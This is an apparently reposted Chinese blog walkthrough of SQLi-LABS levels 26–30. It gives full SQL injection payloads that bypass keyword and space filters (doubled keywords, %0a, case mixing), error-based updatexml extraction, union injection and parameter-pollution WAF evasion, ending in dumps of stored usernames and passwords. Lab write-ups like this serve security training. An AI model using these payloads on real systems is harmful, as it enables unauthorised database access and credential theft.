当前位置: 首页 > news >正文

SQL注入SQLi-LABS 靶场less26-30详细通关攻略

less 26 GET -Error based -All your SPACES and COMMENTS belong to us

1.判断闭合方式

在我们尝试闭合方式的时候发现将我们的and or 空格 注释都过滤掉了,那我们就给他构造一个aandnd进行绕过,空格使用()代替,%20 +都不能使了。

?id=1'oorr'				//页面正常
?id=1''oorr'			//页面错误

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' aandnd (updatexml(1,concat(1,database()),3)) oorr'

4.构造语句查询数据库中的表信息

除了and还有or ,information中的or也会过滤,每个空格都会被过滤所以我们使用括号代替时要替换完整。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),3)) oorr'

5.查询字段名

-1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),3)) oorr'

6.查询具体信息

password中的or。

-1'aandnd(updatexml(1,concat(1,(select(group_concat(username,passwoorrd)) from (users))),2)) oorr'

less 27 GET -Error based -All your UNION & SELECT belong to us -String -Single quote

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union,select。使用()代替空格,大小写代替union和select。

1' and  (1=2)or'
1' and  (1=1)or'

2.判断注入方式

在进行闭合判断时,我们可以发现报出了语法错误,所以我们进行报错注入

3.构造报错注入语句获取数据库名称

-1' and (updatexml(1,concat(1,database()),3)) or'

4.构造语句查询数据库中的表信息

-1'and(updatexml(1,concat(1,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),3)) or'

5.查询字段名

-1'and(updatexml(1,concat(1,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),3)) or'

6.查询具体信息

-1'and(updatexml(1,concat(1,(seleCt(group_concat(username,password)) from (users))),2)) or'

less28 GET -Error Based -All your UNION & SELECT Belong to us -String -Single quote with parenthesis

1.判断闭合方式

经过尝试,该关过滤了我们的空格,注释,union select。使用%0a代替空格,双写代替union select。

2' and '1' ='1
2' and '1' ='2

这里面是存在闭合的,里面如果是')闭合的话代码为('2' and '1' = '1')回显正常所以,这里的闭合为')

2.判断注入方式

这一关没有报错信息,过滤了我们的union select 我们进行绕过后联合注入。

3.构造报错注入语句获取数据库名称

符号也被过滤了,直接使用0使他们正常页面回显不出来,回显我们的联合注入内容。

0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1

4.构造语句查询数据库中的表信息

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0a where %0a table_schema='security'),3%0Aand%0A('1

5.查询字段名

0')uni union%0Aselecton%0Aselect%0A1,(select%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0a where %0a table_schema='security'%0a and %0atable_name='users'),3%0Aand%0A('1

6.查询具体信息

0')%0a union%0a union %0aselect %0a select %0a1,(select%0agroup_concat(username,password)%0afrom%0ausers),3%0Aand%0A('1

less29 GET -Error Based IMPIDENCE MISMATCH - Having a WAF in front of web application

查看源代码,有两个参数,但是会对第一个参数进行校验,所以我们可以将我们的注入语句放在我们的第二个参数上。

1.判断闭合方式

1&id=2' and '1'='1
1&id=2' and '1'='2

2.判断回显点

1&id=-1' union select 1,2,3 and '1'='1

3.构造语句查看数据库名

1&id=-1' union select 1,database(),3 and '1'='1

4.构造语句查看数据表的表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

5.构造语句查看表内字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

6.构造语句查看信息

这里后面的注释一直报错,更换了一下

2&id=0' union select 1,2,group_concat(username,password) from users --+

less30 GET -BLIND IMPIDENCE MISMATCH - Having a WAF in front of web application

这一关和上一关(29)除了闭合方式不一样外其他的一模一样,仅给出输入参数图片就不贴了。相信各位大佬都会的。

1.数据库名

1&id=-1' union select 1,database(),3 and '1'='1

2.表名

1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

3.字段名

1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'and '1'='1

4.具体信息

2&id=0' union select 1,2,group_concat(username,password) from users --+
http://www.lryc.cn/news/604024.html

相关文章:

  • OpenCV 学习探秘之三:从图像读取到特征识别,再到机器学习等函数接口的全面实战应用与解析
  • 【硬件-笔试面试题】硬件/电子工程师,笔试面试题-44,(知识点:三极管,PN结,正偏反偏判断,晶体管)
  • 通讯中为什么要用 0Hermitian 对称 *只使用“正频率”子载波,负频率部分通过对称性自动生成,从而保证时域信号是实值
  • 记一次导出pdf表单引发的问题
  • 【RAG搭建Agent应用实战】基于检索增强生成(RAG)搭建特定场景Agent应用
  • 验证pyspark提交参数指定环境变量生效
  • HbuilderX开发小程序
  • Java面试宝典:MySQL8新特性底层原理
  • 【nerf处理视频数据】Instant-NGP项目NeRF模型训练数据集准备指南
  • React--》规划React组件库编码规范与标准 — Button篇
  • 解决Spring MVC中@PathVariable参数为null导致的404问题:全面解析与最佳实践
  • 树形结构递归查询与嵌套结构转换:Flask + PostgreSQL 完整实现
  • EnergyMath芯祥代理 EMS4100可替代 ASW3410
  • 【牛客网C语言刷题合集】(五)——主要二进制、操作符部分
  • 深入解析mediasoup:构建实时音视频通信的高性能SFU解决方案
  • 用LangGraph实现聊天机器人记忆功能的深度解析
  • 深度学习篇---PaddleDetection模型选择
  • 循环神经网络——动手学深度学习7
  • electron-vite 动态加载脚本 实现动态插件
  • 使用jQuery时的注意事项
  • 爬虫逆向之瑞数五案例:某某医学院(补环境,联调)
  • 直播间里的酒旅新故事:内容正在重构消费链路
  • logtrick 按位或最大的最小子数组长度
  • 计算器4.0:新增页签功能梳理页面,通过IO流实现在用户本地存储数据
  • Java注解全面解析与应用实战
  • 三维扫描相机:工业自动化的智慧之眼——迁移科技赋能智能制造新纪元
  • 前端优化之虚拟列表实现指南:从库集成到手动开发
  • MongoDB系列教程-第一章:MongoDB简介、安装 、概念解析、用户管理、连接、实际应用示例
  • Java抽Oracle数据时编码问题
  • Spring Boot with RabbitMQ:四大核心模式指南